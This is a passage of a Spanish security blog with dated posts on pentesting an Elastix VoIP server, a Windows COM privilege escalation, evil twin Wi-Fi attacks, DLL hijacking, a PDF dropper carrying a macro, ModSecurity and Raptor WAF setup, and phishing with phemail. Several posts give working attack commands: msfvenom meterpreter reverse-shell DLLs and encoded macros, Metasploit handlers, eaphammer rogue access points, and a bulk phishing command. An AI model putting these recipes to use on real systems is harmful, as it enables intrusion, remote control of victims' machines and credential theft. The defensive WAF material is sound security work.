lunes, 12 de junio de 2017

PENTESTING A FPBX-2.8.1 Elastix Server VoIP

Comenzamos el pentesting haciendo un escaneo de puertos con NMAP, vemos que el host tiene el puerto 443 abierto, esto indica un servicio ssl/http, entramos con el navegador y vemos un panel de login, en el icono aparece el símbolo de ELASTIX, señal casi irrefutable de hay un servicio de VoIP.


Usaremos la suite de herramientas sipvicious que nos permitirá auditar sistemas de VoIP. Para saber los dispositivos SIP que hay en la red usaremos la herramienta svmap.py.

SIP es un protocolo de control de capa de aplicación que puede establecer, modificar y finalizar sesiones multimedia (conferencias) como llamadas de telefonía por Internet. SIP también puede invitar a los participantes a sesiones ya existentes, como las conferencias de multidifusión.
Los clientes SIP normalmente utilizan TCP o UDP en los números de puerto 5060 y / o 5061 para conectarse a servidores SIP y otros puntos finales SIP. El puerto 5060 se utiliza comúnmente para tráfico de señalización no cifrado, mientras que el puerto 5061 se usa típicamente para tráfico cifrado con TLS. SIP se utiliza principalmente en la configuración y destrucción de llamadas de voz o video.
Gracias a esa herramienta obtrendremos la versión de Free PBX/Elastix. A continuación, necesitamos encontrar extensiones válidas, para ello hacemos uso de la herramienta svwar.py

 
La opción -D permite escanear las extensiones predeterminadas y la opción -m especifica un método de solicitud (INVITE indica que un cliente está siendo invitado a participar en una sesión de llamada)

Una vez sabemos la versión y las extensiones válidas, vamos a buscar un exploit, usamos la herramienta searchsploit, con ella encontramos una vulnerabilidad de Remote Code Execution en la aplicación, configuramos el archivo en python para que se adecue a nuestras necesitades.


Abrimos un listener con netcat y ejecutamos el archivo en python del exploit. Nos hacemos root gracias a nmap.


En este caso, el archivo sudoers contiene una entrada para el usuario de asterisk que le permite ejecutar el comando sudo sin introducir una contraseña.

 Contenido del archivo /etc/sudoers

Para los interesados en la seguridad de VoIP:
https://www.amazon.com/Hacking-Exposed-VoIP-Security-Solutions/dp/0072263644
https://www.amazon.com/Hacking-VoIP-Protocols-Attacks-Countermeasures/dp/1593271638

viernes, 9 de junio de 2017

CVE-2017-0213 Windows COM ELEVATION OF PRIVILEGE [Windows 10/8.1/7/Server]


Descripción:

Existe una elevación de privilegios en Windows COM Aggregate Marshaler. Un atacante que explotara con éxito la vulnerabilidad podría ejecutar código arbitrario con privilegios elevados. Para aprovechar la vulnerabilidad, un atacante podría ejecutar una aplicación especialmente diseñada que podría explotar la vulnerabilidad. Esta vulnerabilidad por sí misma no permite que se ejecute código arbitrario. Sin embargo, esta vulnerabilidad podría utilizarse junto con una o más vulnerabilidades (por ejemplo, una vulnerabilidad de ejecución remota de código y otra elevación de privilegios) que podrían aprovechar los privilegios elevados al ejecutarlo. La actualización CVE-2017-0213 corrige la vulnerabilidad al corregir la forma en que Windows COM Marshaler procesa Solicitudes de interfaz.

Versiones vulnerables:

 

Links para más información:

https://nvd.nist.gov/vuln/detail/CVE-2017-0213
https://www.exploit-db.com/exploits/42020/
https://bugs.chromium.org/p/project-zero/issues/detail?id=1107
http://blog.talosintelligence.com/2017/05/ms-tuesday.html

Exploit:

https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213

PoC:



Ejecutar el PoC desde un directorio que pueda ser escrito por el usuario actual.


Solución:

Actualizar


miércoles, 7 de junio de 2017

EVIL TWIN ATTACK con eaphammer

 

Descripción:

Un ataque de evil twin consiste en crear un punto de acceso fraudulento Wi-Fi que parece ser legítimo, creado para espiar las comunicaciones inalámbricas.

Este tipo de ataque puede ser utilizado para robar las contraseñas de los usuarios desprevenidos, ya sea mediante el control de sus conexiones o mediante phishing, que consiste en la creación de una página web fraudulenta y atraer a la gente allí. 


Ejemplo de web fraudulenta para conseguir contraseñas de acceso a la red

El funcionamiento de este tipo de ataques es sencillo, se clona el punto de acceso que queramos dejándolo sin contraseña, se desautenticará a los usuarios conectados al punto de acceso legítimo para que se contecten automáticamente al nuestro, cuando abran el navegador e intenten por ejemplo ir a google, irán a la página web fraudulenta, una vez ponga la contraseña esta es verificada y si es la correcta finalizará el ataque.

 

PoC:

En mi caso yo usaré Kali Linux, si usas otra distribución te aconsejo que vayas al proyecto a mirar la documentación: https://github.com/s0lst1c3/eaphammer
If you are not using Kali, you can still compile eaphammer. I just haven't written a setup script for your distro yet, which means you'll have to do it manually
$ git clone https://github.com/s0lst1c3/eaphammer
$ python kali-setup.py install

Una vez instalado creamos un certificado:
$ ./eaphammer --cert-wizard

Y lanzamos el ataque (Depende de lo que queramos):
.$ /eaphammer -i wlan0 --channel 4 --auth ttls --wpa 2 --essid CorpWifi --creds
o
$  ./eaphammer -i wlan0 --essid TotallyLegit --channel 1 --hostile-portal

lunes, 5 de junio de 2017

DLL HIJACKING

 

Descripción:

Las DLL son el método usado por Windows para compartir funciones entre aplicaciones.

La DLL contiene tres funciones, la aplicación coge la funcion DLLMAIN()

La vulnerabilidad DLL Hijacking consiste (De una manera resumida) en suplantar una DLL, que una aplicación intenta cargar, por código malicioso.
 Tenemos un exe que carga esas tres dll, una de ellas no es la original

Podemos saber que DLL está usando un programa gracias a la herramienta Process Monitor y a sus filtros:

También podemos añadir Process Name is <Nombre Aplicacion que estamos testeando>

PoC:

El primer paso será ver que DLL podemos cambiar, para ello como se mencionó antes haremos uso de procmon, en mi caso seleccionare una DLL que usa la aplicación pcsx2.exe

Pone NAME NOT FOUND porque intentó buscar la dll en la ruta y no la encontró, así que simplemente tendremos que colocar nuestra dll maliciosa en esa ruta.

El segundo paso será crear una DLL maliciosa con metasploit, para ello introduciremos el siguiente comando:
$ msfvenom -p windows/meterpreter/reverse_tcp lhost=<IPLOCAL> lport=<PUERTO> -f dll > /root/Desktop/dwmapi.dll

Y ponemos a la escucha nuestro handler:
$ msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT 8080; run;"

Una vez generada añadiremos la DLL que usa el programa pcsx2.exe en la ruta donde la va a buscar.


Y al ejecutar la aplicación pcsx2.exe nos abrirá una sesión meterpreter.


jueves, 25 de mayo de 2017

PDF DROPPER

 

Descripción:

En la actualidad, el formato PDF (Portable Document Format) de Adobe se utiliza con mucha frecuencia para intercambiar documentos digitales. Sin embargo, existen numerosas vulnerabilidades vinculadas a este formato de archivo. El sitio http://www.securityfocus.com recoge más de 150 CVE (Common Vulnerabilities and Exposures) para Acrobat Reader, el lector de PDF desarrollado por Adobe. Viendo lo extendido que está su uso y las vulnerabilidades que tiene, sin duda el PDF constituye una puerta de entrada a los sistemas. De este modo, los desarrolladores de malwares seleccionan, con frecuencia, este formato para difundir sus programas maliciosos.

Los usuarios empiezan a conocer los riesgos que corren si ejecutan archivos binarios desconocidos en su sistema operativo. Por el contrario, pocos son conscientes de que un documento PDF también puede ejecutar acciones maliciosas sobre sus máquinas. Los archivos en formato multimedia se utilizan, generalmente, sin prestar una especial precaución.

La mayoría de las vulnerabilidades sobre este formato se encuentran en el motor JavaScript presente en Acrobat Reader. En efecto, el formato PDF permite desarrollar código JavaScript incluso en el interior de un archivo para, por ejemplo, manipular automáticamente los formularios. Estas funcionalidades las utilizan algunas administraciones para simplificar la gestión de los formularios y de los informes.

En el caso de un archivo PDF, la primera etapa del análisis consiste en recuperar el código JavaScript sospechoso. La segunda etapa consistirá en comprender este código.

PoC:

Comenzamos por crear nuestra macro maliciosa para MS Word, para ello hacemos uso del payload  windows/meterpreter/reverse_tcp y del encoder shikata_ga_nai con 3 iteraciones:
$ msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 lhost=<IPLOCAL> lport=8080 -f vba-exe> /var/www/html/macro

Lo metí en la carpeta de apache para copiar el macro más rapido

Lo siguiente será abrir un documento en MS Word y añadir el código generado en VBS:

En el macro creado vendrán las instrucciones de como configurarlo todo

Embebemos el archivo Word en el PDF:
python make-pdf-embedded.py -m "Prueba" -a Doc1.docm prueba.pdf

make-pdf-embedded.py es una herramienta gratuita que se puede descargar aqui

Y ponemos a la escucha nuestro multi/handler:
$ msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <IP>; set LPORT 8080; run;"

Al abrir el PDF (Necesaria aprobación por parte del usuario) nos preguntará si queremos abrir el documento, le damos a que sí y una vez lo haya abierto nos preguntará si queremos habilitar las macros, le damos a que sí.

 Aprobación por parte del usuario

Una vez habilitadas las macros del archivo Word nos abrirá una sesión meterpreter:


Para estar más seguros en el mundo os recomiendo este lector de pdf ya que no ejecuta código JS y además es muy liviano.

jueves, 18 de mayo de 2017

RAPTOR WAF (Web Application Firewall)


Descripción:

Raptor WAF es un firewall de aplicaciones web desarrollado en C, cuyo cometido es bloquear los ataques de SQLi, XSS y Path Traversal.

PoC:

Requisitos:
$ sudo apt-get install make

Clonamos el repositorio de Github, compilamos el programa y lo ejecutamos:

$ git clone https://github.com/CoolerVoid/raptor_waf
$ cd raptor_waf
$ make
$ bin/raptor
*Es importante que ejecutemos la herramienta desde la raíz (bin/raptor) ya que sino tendremos problemillas.

Un ejemplo de uso sería:

$ bin/Raptor -h 127.0.0.1 -p 80 -r 8080 -w 4 -o log.txt

* -h Para el host, -p para el puerto, -r para la redirección del puerto, -w para el nivel de protección, -o para la salida del log.

Para la PoC he usado DVWA
PoC XSS:


<script>alert("XSS")</script>


Como podéis ver en la siguiente captura se come el SQL injection (Me gustaría que probarais la herramienta y dejaseis en comentarios vuestros tests):


martes, 16 de mayo de 2017

COMO PROTEGERSE DE ATAQUES WEB con modsecurity WAF

 

Descripción:

"ModSecurity es una herramienta que te ayudará a dormir mejor por la noche, y voy a explicar cómo. Normalmente llamo a ModSecurity un firewall de aplicaciones web (WAF), porque eso es lo general. Otras veces herramienta de detección de intrusiones HTTP, porque creo que describe mejor lo que hace ModSecurity. Ninguno de los dos nombres es totalmente adecuado, el caso es que las aplicaciones web, la tuya, la mía, la de todos son terriblemente inseguras en promedio. Hay que luchar para mantenerse al día con los problemas de seguridad y necesitamos cualquier ayuda que podamos obtener para protegernos." 
Extracto del libro: https://www.amazon.com/ModSecurity-Handbook-Complete-Application-Firewall/dp/1907117024

Tutorial:

Empezamos instalando modsecurity, lo haremos con el simple comando:
# apt-get install libapache2-modsecurity

Compronamos que está instalado correctamente:
# apachectl -M | grep --color security


Configuración:

El archivo de configuración predeterminado se establece en DetectionOnly que registra las solicitudes de acuerdo con las coincidencias de reglas y no bloquea nada, asíque vamos a editarlo:
  
$ nano /etc/modsecurity/modsecurity.conf
*También puede ser /etc/modsecuritymodsecurity.conf-recommended así que renombrarlo:
$ mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

Buscamos la lína "SecRuleEngine DetectionOnly" y la cambiamos por:
SecRuleEngine On


Otra directiva a modificar es "SecResponseBodyAccess". Esto configura si los cuerpos de respuesta están almacenados en búfer (es decir, leídos por modsecurity). Esto sólo es necesario si se requiere detección y protección de fugas de datos. Por lo tanto, dejarlo activado utilizará los recursos de droplet y también aumentará el tamaño del archivo de registro.

Buscamos la línea "SecResponseBodyAccess On" y la cambiamos por:
SecResponseBodyAccess Off



Ahora limitaremos los datos máximos que se pueden publicar en la aplicación web. Dos directivas las configuran:

SecRequestBody
LimitSecRequestBody
NoFilesLimit 

La directiva SecRequestBodyLimit especifica el tamaño máximo de datos POST. Si algo más grande es enviado por un cliente, el servidor responderá con un error 413 Request Entity Too Large. Si tu aplicación web no tiene ninguna subida de archivos, este valor puede reducirse considerablemente. El valor mencionado en el archivo de configuración es:

SecRequestBodyLimit 13107200
Que es 12.5MB. 

Similar a esto es la directiva SecRequestBodyNoFilesLimit. La única diferencia es que esta directiva limita el tamaño de los datos POST menos subidas de archivos. Este valor debe ser "tan bajo como sea práctico". El valor en el archivo de configuración es:

SecRequestBodyNoFilesLimit 131072
Que es 128KB.

A lo largo de las líneas de estas directivas es otro que afecta el rendimiento del servidor: SecRequestBodyInMemoryLimit. Esta directiva es bastante evidente por sí misma; Especifica cuánto de los datos del "cuerpo de la petición" (datos POSTed) debe mantenerse en la memoria (RAM), cualquier cosa más se colocará en el disco duro (al igual que el intercambio). Se puede establecer un valor decente si tienes memoria RAM de sobra. 

SecRequestBodyInMemoryLimit 131072
Este es el valor (128KB) especificado en el archivo de configuración.  


Reglas:

Para hacer la vida más fácil, hay un montón de reglas que ya están instaladas junto con mod_security. Estos se llaman CRS (Core Rule Set) y se encuentran en:  /usr/share/modsecurity-crs/

La documentación está disponible en: /usr/share/doc/modsecurity-crs/ 

Para cargar estas reglas, necesitamos decirle a Apache que examine estos directorios.

$ sudo nano /etc/apache2/mods-enabled/modsecurity.conf
*El archivo estará vacío

Agrega las siguientes directivas dentro de <IfModule security2_module> </ IfModule>:
Include "/usr/share/modsecurity-crs/*.conf"
Include "/usr/share/modsecurity-crs/activated_rules/*.conf"


 

El directorio activated_rules es similar al directorio habilitado para mods de Apache. Las reglas están disponibles en directorios:
/usr/share/modsecurity-crs/base_rules
/usr/share/modsecurity-crs/optional_rules
/usr/share/modsecurity-crs/experimental_rules


Los enlaces simbólicos deben crearse dentro del directorio activated_rules para activarlos. Activemos las reglas de inyección de SQL:

$ cd /usr/share/modsecurity-crs/activated_rules/
$ sudo ln -s /usr/share/modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf . 
 
 
 
 

$ sudo service apache2 reload
$ sudo service apache2 restart

Podremos encontrar los logs en: /var/log/apache2/modsec_audit.log

PoC:

Una vez instalado todo vamos a probar un ataque de inyección SQL.
Nos vamos al log y lo abrimos con tailf, una vez hecho esto nos dirigimos a DVWA (admin:password), vamos al apartado SQL Injection, escribimos una ' y vemos como nos dará prohibido el acceso y nos saldrá un mensaje en el log.



Este artículo ha sido "una primera toma de contacto con modsecurity", ya que ofrece muchas posiblidades y aquí solo se ha visto un ejemplo básico, si quieres profundizar más sobre este campo te recomiendo leer el libro que puse al principio de la entrada.

jueves, 11 de mayo de 2017

EMAIL SPOOFING #2 con phemail

 

Descripción:

En los últimos años las redes se han vuelto más seguras mediante el endurecimiento de servidores y el despliegue de dispositivos de seguridad como firewalls y sistemas de prevención de intrusiones. Esto ha hecho más difícil para los ciberdelincuentes el lanzamiento exitoso de ataques directos desde fuera del perímetro de la red. Como resultado, los ciberdelincuentes recurren cada vez más a ataques indirectos a través de la ingeniería social y los correos electrónicos de phishing.

PhEmail es una herramienta de codigo abierto escrita en python que automatiza el proceso de envío de correos electrónicos de phishing como parte de una prueba de ingeniería social. 
El objetivo principal de PhEmail es enviar un montón de correos electrónicos de phishing y demostrar quién hizo clic en ellos sin intentar explotar el navegador web o cliente de correo electrónico, sino recopilar la mayor cantidad de información posible. PhEmail viene con un motor para garther direcciones de correo electrónico a través de LinkedIN, útil durante la fase de recopilación de información. Además, esta herramienta admite la autenticación de Gmail, que es una opción válida en caso de que el dominio de destino tenga en la lista negra el correo electrónico de origen o la dirección IP. Por último, esta herramienta se puede utilizar para clonar los portales de inicio de sesión corporativos con el fin de robar las credenciales de inicio de sesión.
El uso de PhMail para atacar objetivos sin consentimiento mutuo previo es ilegal.
Es responsabilidad del usuario final obedecer todas las leyes locales, estatales y federales aplicables.
Los desarrolladores no asumen responsabilidad y NO son responsables de ningún uso indebido o daño causado por este programa.

PoC:

Clonamos el repositorio, entramos en la carpeta y creamos un archivo llamado emails.txt en el cual añadiremos los correos de las víctimas, el siguiente paso será ejecutar la herramienta, así es, no tenemos que configurar nada.

$ python phemail.py -e emails.txt -f "Name Surname <name_surname@example.com>" -r "Name Surname <name_surname@example.com>"

 Nos llegará al buzón de SPAN ya que el mensaje no va cifrado.

Toda la documentación está en la página del proyecto podéis ir a visitarla: https://github.com/Dionach/PhEmail
En este blog hay otra entrada de email spoofing por si te interesa verla: https://elcandadoinformatico.blogspot.com.es/2016/08/email-spoofing.html